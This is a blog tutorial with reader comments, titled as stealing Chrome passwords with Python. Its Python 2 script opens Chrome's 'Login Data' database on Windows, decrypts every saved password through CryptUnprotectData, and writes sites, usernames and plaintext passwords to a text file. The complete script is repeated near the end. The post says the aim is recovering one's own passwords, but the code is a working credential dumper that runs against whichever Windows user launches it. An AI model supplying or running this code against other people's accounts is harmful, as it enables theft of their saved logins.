Steal Chrome Passwords and Decrypt with Python

49

Decrypt Chrome Password Using Python - Geekswipe

Let’s take our previous Python code that we used to analyze our browsing history and tinker it a bit to steal our own passwords from Chrome’s local storage. If you are a person who stores passwords in browsers, then this could be a little revelation to give you a reason why you should not leave your machine with someone else.

Database

Chrome stores a website’s username and password in an SQLite database named Login Data. The tables that we are interested in is logins and the fields we need to fetch are origin_url, username_value, password_value.

The following code will connect to the database and do that operation for us.

#path to user's login data
data_path = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default"

login_db = os.path.join(data_path, 'Login Data')

#db connect and query
c = sqlite3.connect(login_db)
cursor = c.cursor()
select_statement = "SELECT origin_url, username_value, password_value FROM logins"
cursor.execute(select_statement)

Credentials

Now that we have access to our database, let’s fetch all the data into login_data and then store it in a dictionary credential. The URL would be the key and the username + password tuple would be its value. But before we do that, we need to decrypt the passwords.

Decrypting Chrome’s passwords

At this point, it is worth noting that this is exclusive to a Windows machine. So, Chrome uses Windows’s API CryptProtectData to encrypt all your passwords using a random generated key from your session. Which means, technically, the only way you can decrypt it is with the same user logon credentials on the same machine using CryptUnprotectData. So yeah, your Windows is the one that is encrypting your passwords here! You’ll need the pywin32 module installed to import win32crypt.

This following code fetches the data, decrypts and saves the URL and credentials in the credential dictionary.

login_data = cursor.fetchall()

#URL: credentials dictionary
credential = {}

#decrytping the password
    for url, user_name, pwd, in login_data:
        pwd = win32crypt.CryptUnprotectData(pwd, None, None, None, 0) #Tuple
        credential[url] = (user_name, pwd[1])

Writing your username and passwords to a text file

Now that you have your decrypted passwords, all that you have to do is iterate over it and write it to a text file. Or simple, you can modify the following code to print it directly to the prompt (Just get rid of the text file parts and swap the write statement with print).

The following code writes the data to a text file.

#writing to a text file (CAUTION: Don't leave this text file around!)
prompt = raw_input("[.] Are you sure you want to write all this sensitive data to a text file? \n[.] <y> or <n>\n[>] ")
if prompt == 'y':
    with open('pwd.txt', 'w') as f:
        for url, credentials in credential.iteritems():
            if credentials[1]:
                f.write("\n"+url+"\n"+credentials[0].encode('utf-8')+ " | "+credentials[1]+"\n")
            else:
                f.write("\n"+url+"\n"+"USERNAME NOT FOUND | PASSWORD NOT FOUND \n")
            print "[.] Successfully written to pwd.txt!"
else:
    quit()

Swoopy

Here is your complete code to proudly steal your own passwords from Chrome using Python.

import os
import sqlite3
import win32crypt

#path to user's login data
data_path = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default"

login_db = os.path.join(data_path, 'Login Data')

#db connect and query
c = sqlite3.connect(login_db)
cursor = c.cursor()
select_statement = "SELECT origin_url, username_value, password_value FROM logins"
cursor.execute(select_statement)

login_data = cursor.fetchall()

#URL: credentials dictionary
credential = {}

#decrytping the password
for url, user_name, pwd, in login_data:
    pwd = win32crypt.CryptUnprotectData(pwd, None, None, None, 0) #This returns a tuple description and the password
    credential[url] = (user_name, pwd[1])

#writing to a text file (CAUTION: Don't leave this text file around!)
prompt = raw_input("[.] Are you sure you want to write all this sensitive data to a text file? \n[.]  or \n[>] ")
if prompt == 'y':
    with open('pwd.txt', 'w') as f:
        for url, credentials in credential.iteritems():
            if credentials[1]:
                f.write("\n"+url+"\n"+credentials[0].encode('utf-8')+ " | "+credentials[1]+"\n")
            else:
                f.write("\n"+url+"\n"+"USERNAME NOT FOUND | PASSWORD NOT FOUND \n")
    print "[.] Successfully written to pwd.txt!"
else:
    quit()

Hope you had fun swooping/stealing your passwords with Python. Fork it or try improving the code and add features to it on GitHub.

This post was first published on May 25, 2016.

Avatar

Karthikeyan KC

Aeronautical engineer, dev, science fiction author, gamer, and an explorer. I am the creator of Geekswipe. I love writing about physics, aerospace, astronomy, and python. I created Swyde. Currently working on Arclind Mindspace.

Leave a Reply

Your email address will not be published. Required fields are marked *

49 Responses

  1. Avatar Vishal Tamta

    i have error in this code would you debug this code.

    Missing parentheses in call to ‘print’. Did you mean print(“[.]
    successfully written to pwd.txt!)?

  2. pywintypes.error: (87, 'CryptProtectData', 'The parameter is incorrect.')
    please, help me.

  3. Avatar MathanKumar
    Message=unable to open database file
      Source=C:\Users\LENOVO\source\repos\UserCred2\UserCred2\module1.py
      StackTrace:
      File "C:\Users\LENOVO\source\repos\UserCred2\UserCred2\module1.py", line 12, in 
        c = sqlite3.connect(login_db)
  4. Avatar MuhammadMohtasham

    I got this error kindly help:-
    when I try to write in any document

    csv_file.write(f"url: {url}, username: {user_name}, password: {password[1].decode('utf-8')}")
    AttributeError: 'str' object has no attribute 'decode'
  5. Avatar Muhammad Mohtasham

    when i run the code this give error:

    cursor.execute(select_statement)
    sqlite3.OperationalError: database is locked

    what is solution for this???

  6. I got an error while opening the file : database disk image is malformed. Don’t know what to do to read the database content.

  7. Traceback (most recent call last):
      File "C:\Users\elnur\Desktop\dec.py", line 10, in 
        c = sqlite3.connect(login_db)
    sqlite3.OperationalError: unable to open database file

    What I have to do ?

  8. Avatar lauris dupois

    hello, i’ve that error :

    f.write("\n"+url+"\n"+credentials[0].encode('utf-8')+ " | "+credentials[1]+"\n")
    TypeError: must be str, not bytes

    thanks for help me

    • I have the same error. Then I checked that I need to use python 2. String handling is different in Python 3.

  9. so where is pwd.txt store in my computer

  10. I have this error

    Traceback (most recent call last):
      File "C:\Users\User\pw.py", line 32, in 
        for url, credentials in credential.iteritems():
    AttributeError: 'dict' object has no attribute 'iteritems'

    how can i fix it

  11. Hi it is giving error
    pywintypes.error: (-2146893813, ‘CryptUnprotectData’, ‘Key not valid for use in specified state.’)

    • Chrome passwords are encrypted via the CryptProtectData function of Windows. If your chrome profile is old, or you have re-installed windows, this might happen as for the CryptUnprotectData to decrypt the password, it needs to be on the same computer using the same account/password.

      • If that is the case, then what is the point of this? If I’m logged in as this user all I need to do is open up chrome and the password manager to view the plain text password.

        • “steal our own passwords from Chrome’s local storage” – This script is to get your own stored passwords and probably do some kind of data analysis with it (just like the previous history analysis script). You should be using this script for your account only. And as far as the parent comment is concerned, you’d need the same account that was used in the first place to encrypt the passwords. Yes, as a new user, you could still see your password simply by login into chrome.

          • I got this error :

            Traceback (most recent call last):
              File "st.py", line 17, in 
                decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode('utf-8') or value or 0
            pywintypes.error: (-2146893813, 'CryptUnprotectData', 'Key not valid for use in specified state.')

            although I’m running the script on the same user and machine

  12. how do i decrypt passwords on mac ?

  13. I’m trying to do this in the python shell (I don’t know what I’m doing, not a programmer. First I tried running al the code at once but got an error, so now I tried it line by line and on the 3rd line got this error:

    Traceback (most recent call last):
      File "", line 1, in 
        import win32crypt
    ModuleNotFoundError: No module named 'win32crypt'

    win32crypt is pretty important right? That’s how we get the passwords visible. Why doesn’t mine work?

    I’m using windows 10 (it updated to windows 10 Creative last week).

  14. why do i get this error pywintypes.error: (-2146893813, 'CryptUnprotectData', 'Key not valid for use in specified state.')

    • Chrome passwords are encrypted via the CryptProtectData function of Windows. If your chrome profile is old, or you have re-installed windows, this might happen as for the CryptUnprotectData to decrypt the password, it needs to be on the same computer using the same account/password.

  15. Avatar Leet Jack

    i get this error when i run in IDLE, can anyone help me?

    chrome password recovery error

  16. Avatar Aniket Bharati

    it says in line :
    f.write("n"+.............................)
    cant convert byte objects to 'str' implicitly
    can you help me here..??

  17. hello
    this code gives me an error
    database is locked
    what is the solution
    please as fast as possible

  18. Avatar Marshall Kendricks

    Interesting! Cloned :)

  19. How can i run code? I click asd.py but cant work.

    • I see that you are using Python 3. The above script is written in Python 2. You should modify the code to run it with Python 3. To run it from the IDLE, use – exec(open("asd.p‌​y").read()). Or try running it from the command line.

      • Thank you i solved that problem. But i have a new problem :/ I am using Python 2.7

        File "C:UsersMervanDesktopasd.py", line 32, in 
            f.write("n"+url+"n"+str(credentials[0]).encode("utf-8")+ " | "+credentials[1]+"n")
        UnicodeEncodeError: 'ascii' codec can't encode character u'u015f' in position 4: ordinal not in range(128)
    • Avatar Anna Selich

      how did you run this? and I don’t have all these file, run options above… I have only small black window which I can close minimize or expand – so I can’t save it.

Related